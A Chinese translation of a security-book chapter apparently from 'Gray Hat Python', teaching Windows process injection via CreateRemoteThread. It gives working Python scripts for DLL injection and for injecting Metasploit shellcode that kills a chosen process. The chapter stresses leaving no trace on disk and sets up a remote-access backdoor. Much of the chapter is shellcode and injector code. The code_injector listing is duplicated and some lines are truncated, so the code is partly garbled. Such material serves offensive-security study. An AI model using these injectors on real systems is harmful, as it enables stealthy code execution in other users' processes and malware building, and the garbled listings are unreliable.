7.1 创建远线程

两种注入虽然在基础原理上不同,但是实现的方法差不多:创建远线程。这由 CreateRemoteThread()完成,同样由由 kernel32.dll 导出。原型如下:

HANDLE WINAPI CreateRemoteThread( 
    HANDLE hProcess,
    LPSECURITY_ATTRIBUTES lpThreadAttributes, 
    SIZE_T dwStackSize, 
    LPTHREAD_START_ROUTINE lpStartAddress, 
    LPVOID lpParameter,
    DWORD dwCreationFlags, 
    LPDWORD lpThreadId
);

别被这么多参数吓着,它们很多通过名字就能知道什么用。第一个参数,hProcess 就是 将要注入的目标进程的句柄。lpThreadAttributes 参数就是创建的线程的安全描述符,其中 的数值决定了线程是否能被子进程继承。在这里只要简单的设置成 NULL,将会得到一个不 能继承的线程句柄,和一个默认的安全描述符。 dwStackSize 参数表示新线程的栈大小,在 这里简单的设置成 0,表示设置成进程默认的大小。下一次参数是最重要的: lpStartAddress, 也就是新线程要执行的代码在内存中的哪个位置。lpParameter 和上一个参数一样重要,不 过 提 供 的 是 一 个 指 针 , 指 向 一 块 内 存 区 域 , 里 头 的 数 据 就 是 传 递 给 新 线 程 的 参 数 。 dwCreationFlags 决定了线程如何开始。这里我们设置成 0,表示在线程创建后立即执行。更 多详细的介绍看 MSDN。最后一个参数 lpThreadId 在线程创建成功后填充为新线程的 ID。 知道了参数的作用,让我们看看如何将 DLL 注入到目标进程,以及 shellcode 的注入。

两种远线程创建,有些许的不同,所以分开来说。

7.1.1 DLL 注入

DLL 注入是亦正亦邪的技术。从 Windows 的 shell 扩展到病毒的偷取技术,处处都能见到它们。甚至安全软件也会通过将 DLL 注入进程以监视进程的行为。DLL 确实很好用,因 为它们不仅能够将它编译为二进制,还能加载到目标进程,使它成为目标进程的一部分。这 非常有用,比如绕过软件防火墙的限制(它们通常只让特定的进程与外界联系,比如 IE)。 接下来让我们用 Python 写一个 DLL 注入脚本,实现将 DLL 注入指定的任何进程。

在一个进程里载入 DLL 需要使用 LoadLibrary()函数(由 kernel32.dll 导出)。函数原型 如下:

HMODULE LoadLibrary( 
    LPCTSTR lpFileName
);

lpFileName 参数为 DLL 的路径。我们需要让目标调用 LoadLibraryA 加载我们的 DLL。 首先解析出 LoadLibraryA 在内存中的地址,然后将 DLL 路径传入。实际操作就是使用 CreateRemoteThread(),lpStartAddress 指向 LoadLibraryA 的地址,lpParameter 指向 DLL 路 径。当 CreateRemoteThread()执行成功,就像目标进程自己调用 LoadLibraryA 加载了我们的 DLL。

DLL 注入测试的源码,可从 http://www.nostarch.com/ghpython.htm 下载。

#dll_injector.py
import sys
from ctypes import * 
PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) 
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32 
pid = sys.argv[1] 
dll_path = sys.argv[2] 
dll_len = len(dll_path)
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) 
if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid 
    sys.exit(0)
# Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_ME PAGE_READWRITE)
# Write the DLL path into the allocated space 
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))
# We need to resolve the address for LoadLibraryA 
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
# Now we try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to the DLL path as its single parameter thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process,
                                    None, 0,
                                    h_loadlib, arg_address, 0,
                                    byref(thread_id)): 
    print "[*] Failed to inject the DLL. Exiting."
    sys.exit(0)
print "[*] Remote thread with ID 0x%08x created." % thread_id.value

第一步,在目标进程内申请足够的空间,用于存储 DLL 的路径。第二步,将 DLL 路径 写入申请好的地址。第三步,解析 LoadLibraryA 的内存地址。最后一步,将目标进程句柄 和 LoadLibraryA 地址还有存储 DLL 路径的内存地址,传入 CreateRemoteThread()。一旦, 线程创建成功就会看到弹出一个窗口。

现在我们已经成功的完成了 DLL 注入。是让弹出窗口优点虎头蛇尾。但是这对于我们 明白注入的使用,非常重要。

7.1.2 代码注入

让我们再狡猾点,再黑点。代码注入能够将 shellcode 注入到一个运行的进程,立即执 行,不会在硬盘上留下任何东西。同样也能将一个进程的 shell 迁移到另一个进程。

接下来我们将用一个简短的 shellcode(能终止指定 PID 的进程)注入到目标进程,然 后杀掉目标进程,同时不留任何痕迹。这对于我们本章最后要创建的后门是至关重要的一步。 同样,我们还要演示如何安全的替换 shellcode,以适用更多的不同的任务。

可以通过 Metasploit 的主页获得终止进程的 shellcode,它们的 shellcode 生成器非常好 用。如果之前没用过的,直接访问 http://metasploit.com/shellcode/。这次我们使用 Windows Execute Command shellcode 生成器。创建的 shellcdoe 如表 7-1。

/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 Encoder=None http://metasploit.com*/
unsigned char scode[] = 
    "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" 
    "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" 
    "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" 
    "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" 
    "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" 
    "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
    "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" 
    "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" 
    "\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41" 
    "\x41\x41\x41\x41\x41\x41\x41\x00";

Listing 7-1:由 Metasploit 产生的 Process-killing shellcode

生成的 shellcode 的时候记得选中 Restricted Characters 文本框以清除 0x00 字节,同时 Encoder 框设置成默认编码。在 shellcode 的最后一行你看到了重复的 8 个\x41。为什么是 8 个大小的 A?因为,后面我们要动态的指定 PID(需要被杀掉的进程)的时候,只要把 8 个\x41 替换成 PID 的数值就行了,剩下的位置用\x00 替换。如果之前生成的时候对 shellcode 进行 了编码,那后面的这 8 个 A 也会被编码,到时候你就会非常痛苦,根本找不出来替换的地 方。

现在我们有了自己的 shellcode,是时候回来进行实际的 code injection 工作了。

#code_injector.py
import sys
from ctypes import *
# We set the EXECUTE access mask so that our shellcode will
# execute in the memory block we have allocated 
PAGE_EXECUTE_READWRITE = 0x00000040 
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) 
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = int(sys.argv[1]) 
pid_to_kill = sys.argv[2]
if not sys.argv[1] or not sys.argv[2]:
    print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil sys.exit(0)
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */ 
shellcode = \
    "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ 
    "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ 
    "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ 
    "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ 
    "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ 
    "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ 
    "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ 
    "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ 
    "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
    "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" 
padding = 4 - (len( pid_to_kill ))
replace_value = pid_to_kill + ( "\x00" * padding ) 
replace_string= "\x41" * 4
shellcode = shellcode.replace( replace_string, replace_value ) 
code_size = len(shellcode)
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) 
if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
# code_injector.py 
import sys
from ctypes import *
# We set the EXECUTE access mask so that our shellcode will
# execute in the memory block we have allocated 
PAGE_EXECUTE_READWRITE = 0x00000040 
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) 
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = int(sys.argv[1]) 
pid_to_kill = sys.argv[2]
if not sys.argv[1] or not sys.argv[2]:
    print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil 
    sys.exit(0)
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */ 
shellcode = \
    "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ 
    "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ 
    "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ 
    "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ 
    "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ 
    "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ 
    "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ 
    "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ 
    "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ 
    "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" 
padding = 4 - (len( pid_to_kill ))
replace_value = pid_to_kill + ( "\x00" * padding ) 
replace_string= "\x41" * 4
shellcode = shellcode.replace( replace_string, replace_value ) 
code_size = len(shellcode)
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) 
if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid 
    sys.exit(0)
# Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
# Write out the shellcode 
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))
# Now we create the remote thread and point its entry routine
# to be head of our shellcode 
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None, 0,byref(thread_id)):
    print "[*] Failed to inject process-killing shellcode. Exiting." 
    sys.exit(0)
print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill

上面的代码大部分看起来都很熟悉,但是还是有些有趣的技巧的。第一个,替换 shellcode 成我们想终止的 PID 的字符串。另一个值得关注的地方,就是调用 CreateRemoteThread()时, lpStartAddress 指向存放 shellcode 的地址,而 lpParameter 设置为 NULL。因为我们不需要传 入任何参数,我们只是想创建新线程执行 shellcdoe。

脚本调用参数如下:

./code_injector.py <PID to inject> <PID to kill>

传入合适的参数,线程创建成功的话,就会返回线程 ID。目标进程被终止后,你会看 到 cmd.exe 进程也结束了。

现在你知道了如何从另一个进程加载和执行 shellcdoe。现在不仅迁移 shell 方便了,隐 藏踪迹也更方便了,因为没有任何代码出现在硬盘上。接下来把我们所学的结合起来,创建 一个可定制的后门,当目标机器上线的时候,就能获取远程访问的权限。

我们能更坏吗?能!